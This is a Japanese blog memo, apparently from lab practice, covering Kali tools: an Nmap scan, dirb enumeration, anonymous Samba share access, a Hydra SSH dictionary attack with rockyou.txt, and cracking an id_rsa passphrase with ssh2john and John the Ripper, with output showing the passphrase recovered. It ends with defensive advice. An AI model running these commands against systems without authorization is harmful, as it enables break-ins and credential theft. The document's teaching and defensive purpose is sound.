Kali 機能寄り基礎コマンド
kaliの機能及びToolに関する備忘録であり
悪用等を推奨する為の記事ではありません。
より堅牢なセキュリティを保つための攻撃手法を知るための情報記事です。
Nmapでのポートスキャン
Nmapは、ネットワーク上のホストやサービスを探索するための強力なツールです。
特定のIPアドレスに対して、どのようなポートが開いており、どのようなサービスが動作しているかを調べることができます。
スキャンコマンドの解説
nmap -sV -Pn -oN nmap.txt -v XXX.XXX.XXX.XXX
オプション | 内容 |
---|---|
-sV |
サービスバージョンの特定: 開いているポートで動作しているサービスのバージョン情報を詳細に取得します。 |
-Pn |
ホストディスカバリのスキップ: ICMPリクエスト(Ping)によるホストの生存確認を省略し、直接ポートスキャンを実行します。ファイアウォールによってPingがブロックされている場合に有効です。 |
-oN <ファイル名> |
スキャン結果の保存: スキャン結果を通常のテキスト形式で指定したファイルに保存します。 |
-v |
詳細表示: スキャンの進捗状況や結果を詳細に表示します。 |
Nmapでわかること
Nmapのスキャン結果から、ターゲットサーバーのポート状況を把握できます。
例えば、以下のような情報が得られます。
- SSH (Secure Shell) ポート(通常22番)が開いているか
- HTTP/HTTPS ポート(通常80番/443番)が開いているか
- Samba ポート(通常139番/445番)が開いているか
これらの情報から、サーバーが提供しているサービスや、潜在的な脆弱性の手がかりを得ることができます。
注意点: スキャン結果は、ファイアウォールやセキュリティ設定により、誤った情報が表示される場合があります。そのため、スキャン結果はあくまで参考とし、別途確認作業を行うことが重要です。
dirbでのディレクトリ・ファイル探索
dirb http://XXX.XXX.XXX.XXX /usr/share/dirb/wordlists/small.txt
- small.txt
XXX.XXX.XXX.XXXの後に続く攻撃というか、解析に使われる文字列辞書ファイルです。
以下コマンドでファイルの中身を見てみると理解が深まるでしょう
less /usr/share/dirb/worldlists/small.txt
# Qキー押下で表示終了
Sambaでの共有フォルダ探索
smbclient -L XXX.XXX.XXX.XXX
# パスワード等を求められたら、何も入力せずに[Enter]
オプション | 内容 |
---|---|
-L | そのサーバーで利用可能な共有フォルダや プリンタなどの情報一覧取得 |
出力結果として、以下のようなDisk等が表示された場合、共有フォルダを指します。
Sharename | Type |
---|---|
Temp | Disk |
smbclient \\\\XXX.XXX.XXX.XXX\\Temp
# エスケープ文字の為、本来\\としたいところ、\\\\とそれぞれ2回書く必要がある
# パスワード等を求められたら、何も入力せずに[Enter]
smb: \>
# 表示が上記になったら成功
何があるかな~?は、コマンド
smb: \> ls
temp.txt # とか表示される
ファイルのダウンロード
smb: \> get temp.text
# smbclient終了
smb: \> exit
cat temp.txt # ダウンロードしたファイルの中身を確認
辞書攻撃
辞書準備
辞書ファイルの中で有名なrockyou.txt
を利用する
Kaliの中には最初から保存されているが圧縮されている為
解凍する
sudo gzip -d /usr/share/wordlists/rockyou.txt.gz
オプション | 内容 |
---|---|
-d | 圧縮されたファイルの解凍 |
解凍したファイルを見てみましょう。
この中に、いつも使ってるパスワード等があったりすると
高リスクである事がわかります。
less /usr/share/wordlists/rockyou.txt
/自分のパスワード #表示中の文字列から検索を実施
hydraで辞書攻撃
sshのポートが開いていて、ユーザー名等がわかる場合
辞書による攻撃がToolにて可能です
# UserName は置き換えてください
hydra -l UserName -P /usr/share/wordlists/rockyou.txt ssh://XXX.XXX.XXX.XXX -t 4
オプション | 内容 |
---|---|
-l UserName | 攻撃ターゲットにするユーザー名を指定 |
-P FilePath | 利用する辞書のファイル指定 |
ssh://IPアドレス | sshのログイン対象先 |
-t 4 | 攻撃の並列処理数の指定 機能を試すという意味では4程度がよいとのこと |
SSH接続
ssh UserName@XXX.XXX.XXX.XXX
# パスワードが求められた場合には、パスワードを入力
Linux コマンド
pwd
# カレントディレクトリの確認
ls -l /home/XX/XXX.bak
# ファイルの権限の確認
# -rw------- userName userGroup
# -:ディレクトリなら[d]、ファイルなら[-]
# rw-:所有者のアクセス件
# その後3つ区切りで
# ---:所有グループのアクセス権
# ---:その他ユーザーのアクセス権
id_rsa ファイルからのパスワード解析
id_rsa とは
id_rsaは、公開鍵と秘密鍵のペアの一部として生成されます。
-
秘密鍵 (id_rsa):
- 所有者のみが保持するべき鍵です。
- この鍵はパスワードのように機能し、SSH接続の認証に使用されます。
- 絶対に他人に知られてはならない非常に重要なファイルです。
- 通常、~/.ssh/id_rsaというパスに保存されます。
-
公開鍵 (id_rsa.pub):
- 秘密鍵と対になって生成されます。
- 他者に公開しても安全な鍵です。
- 接続先のサーバーに登録することで、秘密鍵を持つユーザーからの接続を許可する役割を果たします。
秘密鍵(id_rsa)にはパスフレーズも含まれており
安易なパスワードの場合には、id_rsaから解析される恐れもあります
John the Ripperを使ったid_rsaからのパスワード解析
解析するための準備としてファイルの整形を行う
ssh2john id_rsa > id_rsa_hash
johnのpasswordリストからの解析
john --wordlist=/usr/share/john/password.lst id_ras_hash
# Using default input encoding: UTF-8
# Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
# Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
# Cost 2 (iteration count) is 1 for all loaded hashes
# Will run 2 OpenMP threads
# Press 'q' or Ctrl-C to abort, almost any other key for status
# 0g 0:00:00:00 DONE (2025-08-10 11:52) 0g/s 177300p/s 177300c/s 177300C/s 1701d..sss
# Session completed.
それっぽいものが見つからない場合
前段で、使ったrockyou.txt
を使ってみましょう
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa_hash
# Using default input encoding: UTF-8
# Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
# Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
# Cost 2 (iteration count) is 1 for all loaded hashes
# Will run 2 OpenMP threads
# Press 'q' or Ctrl-C to abort, almost any other key for status
# beeswax (id_rsa)
# 1g 0:00:00:00 DONE (2025-08-10 11:57) 7.692g/s 636430p/s 636430c/s 636430C/s behlat..bball40
# Use the "--show" option to display all of the cracked passwords reliably
# Session completed.
beeswaxが見つかりました。
これがパスフレーズです。
これを用いることで、id_rsaにて接続を行いパスフレーズを用いることで
対象ユーザーでssh userName@XXX.XXX.XXX.XXX
接続することが可能です
まとめ
上記のように、簡単なToolを用いて様々な事が可能となります。
安易なパスワードがどれだけ危険なのか、実際に試してみると思い知ることとなります。
サイバーセキュリティに対する意識・知見を深めて対策をしていきましょう。
防御のためのサイバーセキュリティ知識
1. ポートスキャン(Nmap)の防御
Nmapは、システム管理者にとってネットワークを監査し、開いているポートや潜在的な脆弱性を発見するための重要なツールです。しかし、悪意のあるスキャンからシステムを守るには、以下の対策が有効です。
- ファイアウォール: 不必要なポートはすべて閉じ、必要なポートのみを外部に公開します。
- 侵入検知システム(IDS): 異常なスキャンアクティビティを検知し、ブロックするように設定します。
2. ディレクトリ列挙(Dirb)の防御
Dirbのようなツールは、ブルートフォース(総当たり)攻撃によってサーバー上の隠されたディレクトリやファイルを探索します。このリスクを軽減するには、以下の対策が有効です。
-
robots.txt
: 検索エンジンのクローラーに探索させたくないディレクトリを指定するrobots.txt
ファイルは、攻撃者にとっても手がかりになる可能性があるため、機密情報を含むディレクトリを記載しないよう注意が必要です。 - サーバー設定: 機密情報を含むファイルやディレクトリには、適切なアクセス権を設定し、外部からアクセスできないようにします。また、サーバーのエラーメッセージが詳細な情報(例: サーバーソフトウェアのバージョン)を公開しないように設定することも重要です。
3. パスワードクラック(Hydra、John the Ripper)の防御
パスワードクラックツールは、辞書攻撃やブルートフォース攻撃によってパスワードを特定しようとします。パスワード関連の攻撃から身を守るには、以下の対策が不可欠です。
- 強力なパスワード: 推測されにくい、長く複雑なパスワードを使用します。
- 多要素認証(MFA): パスワードに加えて、スマートフォンアプリや物理的なトークンなど、複数の認証要素を要求することで、パスワードが漏洩しても不正アクセスを防ぐことができます。
-
SSHキーの保護: id_rsaのような秘密鍵には、必ず強力なパスフレーズを設定し、ファイルには自分だけが読み書きできる権限(
chmod 600 id_rsa
)を与えてください。
これらの防御策は、攻撃者が悪用する可能性のある手法を理解することで、自身のシステムをより強固に保護するために役立ちます。